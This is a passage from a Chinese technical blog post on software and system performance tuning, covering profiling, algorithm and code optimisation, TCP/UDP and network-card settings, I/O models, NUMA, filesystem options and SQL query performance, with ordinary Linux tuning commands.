target=\"_blank\">SystemTap</a>，<a href=\"https://latencytop.org/\" target=\"_blank\">LatencyTOP</a>，vmstat, sar, iostat, top, tcpdump等等 。通过观察这些数据，我们就可以知道我们的软件的性能基本上出在哪里。比如：</p>\n<p>1）先看CPU利用率，如果CPU利用率不高，但是系统的Throughput和Latency上不去了，这说明我们的程序并没有忙于计算，而是忙于别的一些事，比如IO。（另外，CPU的利用率还要看内核态的和用户态的，内核态的一上去了，整个系统的性能就下来了。而对于多核CPU来说，CPU 0 是相当关键的，如果CPU 0的负载高，那么会影响其它核的性能，因为CPU各核间是需要有调度的，这靠CPU0完成）</p>\n<p>2）然后，我们可以看一下IO大不大，IO和CPU一般是反着来的，CPU利用率高则IO不大，IO大则CPU就小。关于IO，我们要看三个事，一个是磁盘文件IO，一个是驱动程序的IO（如：网卡），一个是内存换页率。这三个事都会影响系统性能。</p>\n<p>3）然后，查看一下网络带宽使用情况，在Linux下，你可以使用iftop, iptraf, ntop, tcpdump这些命令来查看。或是用Wireshark来查看。</p>\n<p>4）如果CPU不高，IO不高，内存使用不高，网络带宽使用不高。但是系统的性能上不去。这说明你的程序有问题，比如，你的程序被阻塞了。可能是因为等那个锁，可能是因为等某个资源，或者是在切换上下文。</p>\n<p><strong>通过了解操作系统的性能，我们才知道性能的问题，比如：带宽不够，内存不够，TCP缓冲区不够，等等，很多时候，不需要调整程序的，只需要调整一下硬件或操作系统的配置就可以了</strong>。</p>\n<h5>3.2）使用Profiler测试</h5>\n<p>接下来，我们需要使用性能检测工具，也就是使用某个Profiler来差看一下我们程序的运行性能。如：Java的JProfiler/TPTP/CodePro Profiler，GNU的gprof，IBM的PurifyPlus，Intel的VTune，AMD的CodeAnalyst，还有Linux下的OProfile/perf，后面两个可以让你对你的代码优化到CPU的微指令级别，如果你关心CPU的L1/L2的缓存调优，那么你需要考虑一下使用VTune。 使用这些Profiler工具，可以让你程序中各个模块函数甚至指令的很多东西，如：<strong>运行的时间</strong> ，<strong>调用的次数</strong>，<strong>CPU的利用率</strong>，等等。这些东西对我们来说非常有用。</p>\n<p>我们重点观察运行时间最多，调用次数最多的那些函数和指令。这里注意一下，对于调用次数多但是时间很短的函数，你可能只需要轻微优化一下，你的性能就上去了（比如：某函数一秒种被调用100万次，你想想如果你让这个函数提高0.01毫秒的时间 ，这会给你带来多大的性能）</p>\n<p>使用Profiler有个问题我们需要注意一下，因为Profiler会让你的程序运行的性能变低，像PurifyPlus这样的工具会在你的代码中插入很多代码，会导致你的程序运行效率变低，从而没发测试出在高吞吐量下的系统的性能，对此，一般有两个方法来定位系统瓶颈：</p>\n<p>1）在你的代码中自己做统计，使用微秒级的计时器和函数调用计算器，每隔10秒把统计log到文件中。</p>\n<p>2）分段注释你的代码块，让一些函数空转，做Hard Code的Mock，然后再测试一下系统的Throughput和Latency是否有质的变化，如果有，那么被注释的函数就是性能瓶颈，再在这个函数体内注释代码，直到找到最耗性能的语句。</p>\n<p>最后再说一点，<strong>对于性能测试，不同的Throughput会出现不同的测试结果，不同的测试数据也会有不同的测试结果。所以，用于性能测试的数据非常重要，性能测试中，我们需要观测试不同Throughput的结果</strong>。</p>\n<h4>四、常见的系统瓶颈</h4>\n<p>下面这些东西是我所经历过的一些问题，也许并不全，也许并不对，大家可以补充指正，我<strong>纯属抛砖引玉</strong>。关于系统架构方面的性能调优，大家可移步看一下《<a title=\"由12306.cn谈谈网站性能技术\" href=\"https://coolshell.cn/articles/6470.html\" target=\"_blank\">由12306.cn谈谈网站性能技术</a>》，关于Web方面的一些性能调优的东西，大家可以看看《<a title=\"Web开发中需要了解的东西\" href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\">Web开发中需要了解的东西</a>》一文中的性能一章。我在这里就不再说设计和架构上的东西了。</p>\n<p><strong></strong>一般来说，性能优化也就是下面的几个策略：</p>\n<ul>\n<li><strong>用空间换时间</strong>。各种cache如CPU L1/L2/RAM到硬盘，都是用空间来换时间的策略。这样策略基本上是把计算的过程一步一步的保存或缓存下来，这样就不用每次用的时候都要再计算一遍，比如数据缓冲，CDN，等。这样的策略还表现为冗余数据，比如数据镜象，负载均衡什么的。</li>\n</ul>\n<ul>\n<li><strong>用时间换空间</strong>。有时候，少量的空间可能性能会更好，比如网络传输，如果有一些压缩数据的算法（如前些天说的“<a title=\"Huffman 编码压缩算法\" href=\"https://coolshell.cn/articles/7459.html\">Huffman 编码压缩算法</a>” 和 “<a title=\"rsync 的核心算法\" href=\"https://coolshell.cn/articles/7425.html\">rsync 的核心算法</a>”），这样的算法其实很耗时，但是因为瓶颈在网络传输，所以用时间来换空间反而能省时间。</li>\n</ul>\n<ul>\n<li><strong>简化代码</strong>。最高效的程序就是不执行任何代码的程序，所以，代码越少性能就越高。关于代码级优化的技术大学里的教科书有很多示例了。如：减少循环的层数，减少递归，在循环中少声明变量，少做分配和释放内存的操作，尽量把循环体内的表达式抽到循环外，条件表达的中的多个条件判断的次序，尽量在程序启动时把一些东西准备好，注意函数调用的开销（栈上开销），注意面向对象语言中临时对象的开销，小心使用异常（不要用异常来检查一些可接受可忽略并经常发生的错误），…… 等等，等等，这连东西需要我们非常了解编程语言和常用的库。</li>\n</ul>\n<ul>\n<li><strong>并行处理</strong>。如果CPU只有一个核，你要玩多进程，多线程，对于计算密集型的软件会反而更慢（因为操作系统调度和切换开销很大），CPU的核多了才能真正体现出多进程多线程的优势。并行处理需要我们的程序有Scalability，不能水平或垂直扩展的程序无法进行并行处理。从架构上来说，这表再为——是否可以做到不改代码只是加加机器就可以完成性能提升？</li>\n</ul>\n<p>总之，<strong>根据2：8原则来说，20%的代码耗了你80%的性能，找到那20%的代码，你就可以优化那80%的性能</strong>。 下面的一些东西都是我的一些经验，我只例举了一些最有价值的性能调优的的方法，供你参考，也欢迎补充。</p>\n<p><strong>4.1）算法调优</strong>。算法非常重要，好的算法会有更好的性能。举几个我经历过的项目的例子，大家可以感觉一下。</p>\n<ul>\n<li>一个是<strong>过滤算法</strong>，系统需要对收到的请求做过滤，我们把可以被filter in/out的东西配置在了一个文件中，原有的过滤算法是遍历过滤配置，后来，我们找到了一种方法可以对这个过滤配置进行排序，这样就可以用二分折半的方法来过滤，系统性能增加了50%。</li>\n</ul>\n<ul>\n<li>一个是<strong>哈希算法</strong>。计算哈希算法的函数并不高效，一方面是计算太费时，另一方面是碰撞太高，碰撞高了就跟单向链表一个性能（可参看<a title=\"Hash Collision DoS 问题\" href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a>）。我们知道，算法都是和需要处理的数据很有关系的，就算是被大家所嘲笑的“冒泡排序”在某些情况下（大多数数据是排好序的）其效率会高于所有的排序算法。哈希算法也一样，广为人知的哈希算法都是用英文字典做测试，但是我们的业务在数据有其特殊性，所以，对于还需要根据自己的数据来挑选适合的哈希算法。对于我以前的一个项目，公司内某牛人给我发来了一个哈希算法，结果让我们的系统性能上升了150%。（关于各种哈希算法，你一定要看看<a href=\"http://programmers.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed/145633#145633\" target=\"_blank\">StackExchange上的这篇关于各种hash算法的文章</a> ）</li>\n</ul>\n<ul>\n<li><strong>分而治之和预处理</strong>。以前有一个程序为了生成月报表，每次都需要计算很长的时间，有时候需要花将近一整天的时间。于是我们把我们找到了一种方法可以把这个算法发成增量式的，也就是说我每天都把当天的数据计算好了后和前一天的报表合并，这样可以大大的节省计算时间，每天的数据计算量只需要20分钟，但是如果我要算整个月的，系统则需要10个小时以上（SQL语句在大数据量面前性能成级数性下降）。这种分而治之的思路在大数据面前对性能有很帮助，就像merge排序一样。SQL语句和数据库的性能优化也是这一策略，如：使用嵌套式的Select而不是笛卡尔积的Select，使用视图，等等。</li>\n</ul>\n<p><strong>4.2）代码调优</strong>。从我的经验上来说，代码上的调优有下面这几点：</p>\n<ul>\n<li><strong>字符串操作</strong>。这是最费系统性能的事了，无论是strcpy, strcat还是strlen，最需要注意的是字符串子串匹配。所以，能用整型最好用整型。举几个例子，第一个例子是N年前做银行的时候，我的同事喜欢把日期存成字符串（如：2012-05-29 08:30:02），我勒个去，一个select  where between语句相当耗时。另一个例子是，我以前有个同事把一些状态码用字符串来处理，他的理由是，这样可以在界面上直接显示，后来性能调优的时候，我把这些状态码全改成整型，然后用位操作查状态，因为有一个每秒钟被调用了150K次的函数里面有三处需要检查状态，经过改善以后，整个系统的性能上升了30%左右。还有一个例子是，我以前从事的某个产品编程规范中有一条是要在每个函数中把函数名定义出来，如：const char fname[]=&#8221;functionName()&#8221;, 这是为了好打日志，但是为什么不声明成 static类型的呢？</li>\n</ul>\n<ul>\n<li><strong>多线程调优</strong>。有人说，thread is evil，这个对于系统性能在某些时候是个问题。因为多线程瓶颈就在于互斥和同步的锁上，以及线程上下文切换的成本，怎么样的少用锁或不用锁是根本（比如：<a title=\"多版本并发控制(MVCC)在分布式系统中的应用\" href=\"https://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a> 中说的乐观锁可以解决性能问题），此外，还有读写锁也可以解决大多数是读操作的并发的性能问题。这里多说一点在C++中，我们可能会使用线程安全的智能指针AutoPtr或是别的一些容器，只要是线程安全的，其不管三七二十一都要上锁，上锁是个成本很高的操作，使用AutoPtr会让我们的系统性能下降得很快，如果你可以保证不会有线程并发问题，那么你应该不要用AutoPtr。我记得我上次我们同事去掉智能指针的引用计数，让系统性能提升了50%以上。对于Java对象的引用计数，如果我猜的没错的话，到处都是锁，所以，Java的性能问题一直是个问题。另外，线程不是越多越好，线程间的调度和上下文切换也是很夸张的事，尽可能的在一个线程里干，尽可能的不要同步线程。这会让你有很多的性能。</li>\n</ul>\n<ul>\n<li><strong>内存分配</strong>。不要小看程序的内存分配。malloc/realloc/calloc这样的系统调非常耗时，尤其是当内存出现碎片的时候。我以前的公司出过这样一个问题——在用户的站点上，我们的程序有一天不响应了，用GDB跟进去一看，系统hang在了malloc操作上，20秒都没有返回，重启一些系统就好了。这就是内存碎片的问题。这就是为什么很多人抱怨STL有严重的内存碎片的问题，因为太多的小内存的分配释放了。有很多人会以为用内存池可以解决这个问题，但是实际上他们只是重新发明了Runtime-C或操作系统的内存管理机制，完全于事无补。当然解决内存碎片的问题还是通过内存池，具体来说是一系列不同尺寸的内存池（这个留给大家自己去思考）。当然，少进行动态内存分配是最好的。说到内存池就需要说一下池化技术。比如线程池，连接池等。池化技术对于一些短作业来说（如http服务） 相当相当的有效。这项技术可以减少链接建立，线程创建的开销，从而提高性能。</li>\n</ul>\n<ul>\n<li><strong>异步操作</strong>。我们知道Unix下的文件操作是有block和non-block的方式的，像有些系统调用也是block式的，如：Socket下的select，Windows下的WaitforObject之类的，如果我们的程序是同步操作，那么会非常影响性能，我们可以改成异步的，但是改成异步的方式会让你的程序变复杂。异步方式一般要通过队列，要注间队列的性能问题，另外，异步下的状态通知通常是个问题，比如消息事件通知方式，有callback方式，等，这些方式同样可能会影响你的性能。但是通常来说，异步操作会让性能的吞吐率有很大提升（Throughput），但是会牺牲系统的响应时间（latency）。这需要业务上支持。</li>\n</ul>\n<ul>\n<li><strong>语言和代码库</strong>。我们要熟悉语言以及所使用的函数库或类库的性能。比如：STL中的很多容器分配了内存后，那怕你删除元素，内存也不会回收，其会造成内存泄露的假像，并可能造成内存碎片问题。再如，STL某些容器的size()==0  和 empty()是不一样的，因为，size()是O(n)复杂度，empty()是O(1)的复杂度，这个要小心。Java中的JVM调优需要使用的这些参数：-Xms -Xmx -Xmn -XX:SurvivorRatio -XX:MaxTenuringThreshold，还需要注意JVM的GC，GC的霸气大家都知道，尤其是full GC（还整理内存碎片），他就像“恐龙特级克赛号”一样，他运行的时候，整个世界的时间都停止了。</li>\n</ul>\n<p><strong>4.3）网络调优</strong></p>\n<p>关于网络调优，尤其是TCP Tuning（你可以以这两个关键词在网上找到很多文章），这里面有很多很多东西可以说。看看Linux下TCP/IP的那么多参数就知道了（顺便说一下，你也许不喜欢Linux，但是你不能否认Linux给我们了很多可以进行内核调优的权力）。强烈建议大家看看《<a href=\"http://book.douban.com/subject/1088054/\" target=\"_blank\">TCP/IP 详解 卷1:协议</a>》这本书。我在这里只讲一些概念上的东西。</p>\n<p><strong>A） TCP调优</strong></p>\n<p>我们知道TCP链接是有很多开销的，一个是会占用文件描述符，另一个是会开缓存，一般来说一个系统可以支持的TCP链接数是有限的，我们需要清楚地认识到TCP链接对系统的开销是很大的。正是因为TCP是耗资源的，所以，很多攻击都是让你系统上出现大量的TCP链接，把你的系统资源耗尽。比如著名的SYNC Flood攻击。</p>\n<p>所以，我们要注意配置KeepAlive参数，这个参数的意思是定义一个时间，如果链接上没有数据传输，系统会在这个时间发一个包，如果没有收到回应，那么TCP就认为链接断了，然后就会把链接关闭，这样可以回收系统资源开销。（注：HTTP层上也有KeepAlive参数）对于像HTTP这样的短链接，设置一个1-2分钟的keepalive非常重要。这可以在一定程度上防止DoS攻击。有下面几个参数（下面这些参数的值仅供参考）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">net.ipv4.tcp_keepalive_probes = 5\nnet.ipv4.tcp_keepalive_intvl = 20\nnet.ipv4.tcp_fin_timeout = 30</pre>\n<p>对于TCP的TIME_WAIT这个状态，主动关闭的一方进入TIME_WAIT状态，TIME_WAIT状态将持续2个MSL(Max Segment Lifetime)，默认为4分钟，TIME_WAIT状态下的资源不能回收。有大量的TIME_WAIT链接的情况一般是在HTTP服务器上。对此，有两个参数需要注意，</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">net.ipv4.tcp_tw_reuse=1\nnet.ipv4.tcp_tw_recycle=1</pre>\n<p>前者表示重用TIME_WAIT，后者表示回收TIME_WAIT的资源。</p>\n<p>TCP还有一个重要的概念叫RWIN（TCP Receive Window Size），这个东西的意思是，我一个TCP链接在没有向Sender发出ack时可以接收到的最大的数据包。为什么这个很重要？因为如果Sender没有收到Receiver发过来ack，Sender就会停止发送数据并会等一段时间，如果超时，那么就会重传。这就是为什么TCP链接是可靠链接的原因。重传还不是最严重的，如果有丢包发生的话，TCP的带宽使用率会马上受到影响（会盲目减半），再丢包，再减半，然后如果不丢包了，就逐步恢复。相关参数如下：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">net.core.wmem_default = 8388608\nnet.core.rmem_default = 8388608\nnet.core.rmem_max = 16777216\nnet.core.wmem_max = 16777216</pre>\n<p>一般来说，理论上的RWIN应该设置成：吞吐量  * 回路时间。Sender端的buffer应该和RWIN有一样的大小，因为Sender端发送完数据后要等Receiver端确认，如果网络延时很大，buffer过小了，确认的次数就会多，于是性能就不高，对网络的利用率也就不高了。也就是说，对于延迟大的网络，我们需要大的buffer，这样可以少一点ack，多一些数据，对于响应快一点的网络，可以少一些buffer。因为，如果有丢包（没有收到ack），buffer过大可能会有问题，因为这会让TCP重传所有的数据，反而影响网络性能。（当然，网络差的情况下，就别玩什么高性能了） 所以，高性能的网络重要的是要让网络丢包率非常非常地小（基本上是用在LAN里），如果网络基本是可信的，这样用大一点的buffer会有更好的网络传输性能（来来回回太多太影响性能了）。</p>\n<p>另外，我们想一想，如果网络质量非常好，基本不丢包，而业务上我们不怕偶尔丢几个包，如果是这样的话，那么，我们为什么不用速度更快的UDP呢？你想过这个问题了吗？</p>\n<p><strong>B）UDP调优</strong></p>\n<p>说到UDP的调优，有一些事我想重点说一样，那就是MTU——最大传输单元（其实这对TCP也一样，因为这是链路层上的东西）。所谓最大传输单元，你可以想像成是公路上的公交车，假设一个公交车可以最多坐70人，带宽就像是公路的车道数一样，如果一条路上最多可以容下100辆公交车，那意味着我最多可以运送7000人，但是如果公交车坐不满，比如平均每辆车只有20人，那么我只运送了2000人，于是我公路资源（带宽资源）就被浪费了。 所以，我们对于一个UDP的包，我们要尽量地让他大到MTU的最大尺寸再往网络上传，这样可以最大化带宽利用率。对于这个MTU，以太网是1500字节，光纤是4352字节，802.11无线网是7981。但是，当我们用TCP/UDP发包的时候，我们的有效负载Payload要低于这个值，因为IP协议会加上20个字节，UDP会加上8个字节（TCP加的更多），所以，一般来说，你的一个UDP包的最大应该是1500-8-20=1472，这是你的数据的大小。当然，如果你用光纤的话， 这个值就可以更大一些。（顺便说一下，对于某些NB的千光以态网网卡来说，在网卡上，网卡硬件如果发现你的包的大小超过了MTU，其会帮你做fragment，到了目标端又会帮你做重组，这就不需要你在程序中处理了）</p>\n<p>再多说一下，使用Socket编程的时候，你可以使用setsockopt() 设置 SO_SNDBUF/SO_RCVBUF 的大小，TTL和KeepAlive这些关键的设置，当然，还有很多，具体你可以查看一下Socket的手册。</p>\n<p>最后说一点，UDP还有一个最大的好处是multi-cast多播，这个技术对于你需要在内网里通知多台结点时非常方便和高效。而且，多播这种技术对于机会的水平扩展（需要增加机器来侦听多播信息）也很有利。</p>\n<p><strong>C）网卡调优</strong></p>\n<p><strong></strong>对于网卡，我们也是可以调优的，这对于千兆以及网网卡非常必要，在Linux下，我们可以用ifconfig查看网上的统计信息，如果我们看到overrun上有数据，我们就可能需要调整一下txqueuelen的尺寸（一般默认为1000），我们可以调大一些，如：ifconfig eth0 txqueuelen 5000。Linux下还有一个命令叫：ethtool可以用于设置网卡的缓冲区大小。在Windows下，我们可以在网卡适配器中的高级选项卡中调整相关的参数（如：Receive Buffers, Transmit Buffer等，不同的网卡有不同的参数）。把Buffer调大对于需要大数据量的网络传输非常有效。</p>\n<p><strong>D）其它网络性能</strong></p>\n<p>关于多路复用技术，也就是用一个线程来管理所有的TCP链接，有三个系统调用要重点注意：一个是select，这个系统调用只支持上限1024个链接，第二个是poll，其可以突破1024的限制，但是select和poll本质上是使用的轮询机制，轮询机制在链接多的时候性能很差，因主是O(n)的算法，所以，epoll出现了，epoll是操作系统内核支持的，仅当在链接活跃时，操作系统才会callback，这是由操作系统通知触发的，但其只有Linux Kernel 2.6以后才支持（准确说是2.5.44中引入的），当然，如果所有的链接都是活跃的，过多的使用epoll_ctl可能会比轮询的方式还影响性能，不过影响的不大。</p>\n<p>另外，关于一些和DNS Lookup的系统调用要小心，比如：gethostbyaddr/gethostbyname，这个函数可能会相当的费时，因为其要到网络上去找域名，因为DNS的递归查询，会导致严重超时，而又不能通过设置什么参数来设置time out，对此你可以通过配置hosts文件来加快速度，或是自己在内存中管理对应表，在程序启动时查好，而不要在运行时每次都查。另外，在多线程下面，gethostbyname会一个更严重的问题，就是如果有一个线程的gethostbyname发生阻塞，其它线程都会在gethostbyname处发生阻塞，这个比较变态，要小心。（你可以试试GNU的gethostbyname_r()，这个的性能要好一些） 这种到网上找信息的东西很多，比如，如果你的Linux使用了NIS，或是NFS，某些用户或文件相关的系统调用就很慢，所以要小心。</p>\n<p><strong>4.4）系统调优</strong></p>\n<p><strong>A）I/O模型</strong></p>\n<p>前面说到过select/poll/epoll这三个系统调用，我们都知道，Unix/Linux下把所有的设备都当成文件来进行I/O，所以，那三个操作更应该算是I/O相关的系统调用。说到  I/O模型，这对于我们的I/O性能相当重要，我们知道，Unix/Linux经典的I/O方式是（关于Linux下的I/O模型，大家可以读一下这篇文章《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-async/\" target=\"_blank\">使用异步I/O大大提高性能</a>》）：</p>\n<p>第一种，同步阻塞式I/O，这个不说了。</p>\n<p>第二种，同步无阻塞方式。其通过fctnl设置 O_NONBLOCK 来完成。</p>\n<p>第三种，对于select/poll/epoll这三个是I/O不阻塞，但是在事件上阻塞，算是：I/O异步，事件同步的调用。</p>\n<p>第四种，AIO方式。这种I/O 模型是一种处理与 I/O 并行的模型。I/O请求会立即返回，说明请求已经成功发起了。在后台完成I/O操作时，向应用程序发起通知，通知有两种方式：一种是产生一个信号，另一种是执行一个基于线程的回调函数来完成这次 I/O 处理过程。</p>\n<p>第四种因为没有任何的阻塞，无论是I/O上，还是事件通知上，所以，其可以让你充分地利用CPU，比起第二种同步无阻塞好处就是，第二种要你一遍一遍地去轮询。Nginx之所所以高效，是其使用了epoll和AIO的方式来进行I/O的。</p>\n<p>再说一下Windows下的I/O模型，</p>\n<p>a）一个是WriteFile系统调用，这个系统调用可以是同步阻塞的，也可以是同步无阻塞的，关于看文件是不是以Overlapped打开的。关于同步无阻塞，需要设置其最后一个参数Overlapped，微软叫Overlapped I/O，你需要WaitForSingleObject才能知道有没有写完成。这个系统调用的性能可想而知。</p>\n<p>b）另一个叫WriteFileEx的系统调用，其可以实现异步I/O，并可以让你传入一个callback函数，等I/O结束后回调之， 但是这个回调的过程Windows是把callback函数放到了APC（<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx\" target=\"_blank\">Asynchronous Procedure Calls</a>）的队列中，然后，只用当应用程序当前线程成为可被通知状态（Alterable）时，才会被回调。只有当你的线程使用了这几个函数时<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms687036(v=vs.85).aspx\">WaitForSingleObjectEx</a>, <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms687028(v=vs.85).aspx\">WaitForMultipleObjectsEx</a>, <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms684245(v=vs.85).aspx\">MsgWaitForMultipleObjectsEx</a>, <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686293(v=vs.85).aspx\">SignalObjectAndWait</a> 和 <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686307(v=vs.85).aspx\">SleepEx</a>，线程才会成为Alterable状态。可见，这个模型，还是有wait，所以性能也不高。</p>\n<p>c）然后是IOCP &#8211; IO Completion Port，IOCP会把I/O的结果放在一个队列中，但是，侦听这个队列的不是主线程，而是专门来干这个事的一个或多个线程去干（老的平台要你自己创建线程，新的平台是你可以创建一个线程池）。IOCP是一个线程池模型。这个和Linux下的AIO模型比较相似，但是实现方式和使用方式完全不一样。</p>\n<p>当然，真正提高I/O性能方式是把和外设的I/O的次数降到最低，最好没有，所以，对于读来说，内存cache通常可以从质上提升性能，因为内存比外设快太多了。对于写来说，cache住要写的数据，少写几次，但是cache带来的问题就是实时性的问题，也就是latency会变大，我们需要在写的次数上和相应上做权衡。</p>\n<p><strong>B）多核<strong>CPU</strong>调优</strong></p>\n<p>关于CPU的多核技术，我们知道，CPU0是很关键的，如果0号CPU被用得过狠的话，别的CPU性能也会下降，因为CPU0是有调整功能的，所以，我们不能任由操作系统负载均衡，因为我们自己更了解自己的程序，所以，我们可以手动地为其分配CPU核，而不会过多地占用CPU0，或是让我们关键进程和一堆别的进程挤在一起。</p>\n<ul>\n<li>对于Windows来说，我们可以通过“任务管理器”中的“进程”而中右键菜单中的“设置相关性……”（Set Affinity&#8230;）来设置并限制这个进程能被运行在哪些核上。</li>\n</ul>\n<ul>\n<li>对于Linux来说，可以使用taskset命令来设置（你可以通过安装schedutils来安装这个命令：apt-get install schedutils）</li>\n</ul>\n<p>多核CPU还有一个技术叫<a href=\"http://en.wikipedia.org/wiki/Non-Uniform_Memory_Access\" target=\"_blank\">NUMA</a>技术（Non-Uniform Memory Access）。传统的多核运算是使用SMP(Symmetric Multi-Processor )模式，多个处理器共享一个集中的存储器和I/O总线。于是就会出现一致存储器访问的问题，一致性通常意味着性能问题。NUMA模式下，处理器被划分成多个node， 每个node有自己的本地存储器空间。关于NUMA的一些技术细节，你可以查看一下这篇文章《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-numa/index.html\" target=\"_blank\">Linux 的 NUMA 技术</a>》，在Linux下，对NUMA调优的命令是：<strong>numactl </strong>。如下面的命令：（指定命令“myprogram arg1 arg2”运行在node 0 上，其内存分配在node 0 和 1上）</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">numactl --cpubind=0 --membind=0,1 myprogram arg1 arg2</code></p>\n<p>当然，上面这个命令并不好，因为内存跨越了两个node，这非常不好。最好的方式是只让程序访问和自己运行一样的node，如：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ numactl --membind 1 --cpunodebind 1 --localalloc myapplication</code></p>\n<p><strong>C）文件系统调优</strong></p>\n<p>关于文件系统，因为文件系统也是有cache的，所以，为了让文件系统有最大的性能。首要的事情就是分配足够大的内存，这个非常关键，在Linux下可以使用free命令来查看 free/used/buffers/cached，理想来说，buffers和cached应该有40%左右。然后是一个快速的硬盘控制器，SCSI会好很多。最快的是Intel SSD 固态硬盘，速度超快，但是写次数有限。</p>\n<p>接下来，我们就可以调优文件系统配置了，对于Linux的Ext3/4来说，几乎在所有情况下都有所帮助的一个参数是关闭文件系统访问时间，在/etc/fstab下看看你的文件系统 有没有noatime参数（一般来说应该有），还有一个是dealloc，它可以让系统在最后时刻决定写入文件发生时使用哪个块，可优化这个写入程序。还要注间一下三种日志模式：data=journal、data=ordered和data=writeback。默认设置data=ordered提供性能和防护之间的最佳平衡。</p>\n<p>当然，对于这些来说，ext4的默认设置基本上是最佳优化了。</p>\n<p>这里介绍一个Linux下的查看I/O的命令—— iotop，可以让你看到各进程的磁盘读写的负载情况。</p>\n<p>其它还有一些关于NFS、XFS的调优，大家可以上google搜索一些相关优化的文章看看。关于各文件系统，大家可以看一下这篇文章——《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-jfs/\" target=\"_blank\">Linux日志文件系统及性能分析</a>》</p>\n<p><strong>4.5）数据库调优</strong></p>\n<p>数据库调优并不是我的强项，我就仅用我非常有限的知识说上一些吧。注意，下面的这些东西并不一定正确，因为在不同的业务场景，不同的数据库设计下可能会得到完全相反的结论，所以，我仅在这里做一些一般性的说明，具体问题还要具体分析。</p>\n<p><strong>A）数据库引擎调优</strong></p>\n<p>我对数据库引擎不是熟，但是有几个事情我觉得是一定要去了解的。</p>\n<ul>\n<li><strong>数据库的锁的方式</strong>。这个非常非常地重要。并发情况下，锁是非常非常影响性能的。各种隔离级别，行锁，表锁，页锁，读写锁，事务锁，以及各种写优先还是读优先机制。性能最高的是不要锁，所以，分库分表，冗余数据，减少一致性事务处理，可以有效地提高性能。NoSQL就是牺牲了一致性和事务处理，并冗余数据，从而达到了分布式和高性能。</li>\n<li><strong>数据库的存储机制</strong>。不但要搞清楚各种类型字段是怎么存储的，更重要的是数据库的数据存储方式，是怎么分区的，是怎么管理的，比如Oracle的数据文件，表空间，段，等等。了解清楚这个机制可以减轻很多的I/O负载。比如：MySQL下使用<span style=\"font-size: xx-small;\">show engines;</span>可以看到各种存储引擎的支持。不同的存储引擎有不同的侧重点，针对不同的业务或数据库设计会让你有不同的性能。</li>\n<li><strong>数据库的分布式策略</strong>。最简单的就是复制或镜像，需要了解分布式的一致性算法，或是主主同步，主从同步。通过了解这种技术的机理可以做到数据库级别的水平扩展。</li>\n</ul>\n<p><strong>B）SQL语句优化</strong></p>\n<p>关于SQL语句的优化，首先也是要使用工具，比如：<a href=\"http://www.mysql.com/products/enterprise/query.html\" target=\"_blank\">MySQL SQL Query Analyzer</a>，<a href=\"http://www.oracle-base.com/articles/11g/sql-performance-analyzer-11gr1.php\" target=\"_blank\">Oracle SQL Performance Analyzer</a>，或是微软<a href=\"http://msdn.microsoft.com/en-us/library/aa216945(v=sql.80).aspx\" target=\"_blank\">SQL Query Analyzer</a>，基本上来说，所有的RMDB都会有这样的工具，来让你查看你的应用中的SQL的性能问题。 还可以使用explain来看看SQL语句最终Execution Plan会是什么样的。</p>\n<p>还有一点很重要，数据库的各种操作需要大量的内存，所以服务器的内存要够，优其应对那些多表查询的SQL语句，那是相当的耗内存。</p>\n<p>下面我根据我有限的数据库SQL的知识说几个会有性能问题的SQL：</p>\n<ul>\n<li><strong>全表检索</strong>。比如：select * from user where lastname = &#8220;xxxx&#8221;，这样的SQL语句基本上是全表查找，线性复杂度O(n)，记录数越多，性能也越差（如：100条记录的查找要50ms，一百万条记录需要5分钟）。对于这种情况，我们可以有两种方法提高性能：一种方法是分表，把记录数降下来，另一种方法是建索引（为lastname建索引）。索引就像是key-value的数据结构一样，key就是where后面的字段，value就是物理行号，对索引的搜索复杂度是基本上是O(log(n)) ——用B-Tree实现索引（如：100条记录的查找要50ms，一百万条记录需要100ms）。</li>\n</ul>\n<ul>\n<li><strong>索引</strong>。对于索引字段，最好不要在字段上做计算、类型转换、函数、空值判断、字段连接操作，这些操作都会破坏索引原本的性能。当然，索引一般都出现在Where或是Order by字句中，所以对Where和Order by子句中的子段最好不要进行计算操作，或是加上什么NOT之类的，或是使用什么函数。</li>\n</ul>\n<ul>\n<li><strong>多表查询</strong>。关系型数据库最多的操作就是多表查询，多表查询主要有三个关键字，EXISTS，IN和JOIN（关于各种join，可以参看<a title=\"图解SQL的Join\" href=\"https://coolshell.cn/articles/3463.html\" target=\"_blank\">图解SQL的Join</a>一文）。基本来说，现代的数据引擎对SQL语句优化得都挺好的，JOIN和IN/EXISTS在结果上有些不同，但性能基本上都差不多。有人说，EXISTS的性能要好于IN，IN的性能要好于JOIN，我各人觉得，这个还要看你的数据、schema和SQL语句的复杂度，对于一般的简单的情况来说，都差不多，所以千万不要使用过多的嵌套，千万不要让你的SQL太复杂，宁可使用几个简单的SQL也不要使用一个巨大无比的嵌套N级的SQL。还有人说，如果两个表的数据量差不多，Exists的性能可能会高于In，In可能会高于Join，如果这两个表一大一小，那么子查询中，Exists用大表，In则用小表。这个，我没有验证过，放在这里让大家讨论吧。另，有一篇关于SQL Server的文章大家可以看看《<a href=\"http://explainextended.com/2009/06/16/in-vs-join-vs-exists/\" target=\"_blank\">IN vs JOIN vs EXISTS</a>》</li>\n</ul>\n<ul>\n<li><strong>JOIN操作</strong>。有人说，Join表的顺序会影响性能，只要Join的结果集是一样，性能和join的次序无关。因为后台的数据库引擎会帮我们优化的。Join有三种实现算法，嵌套循环，排序归并，和Hash式的Join。（MySQL只支持第一种）</li>\n</ul>\n<ul 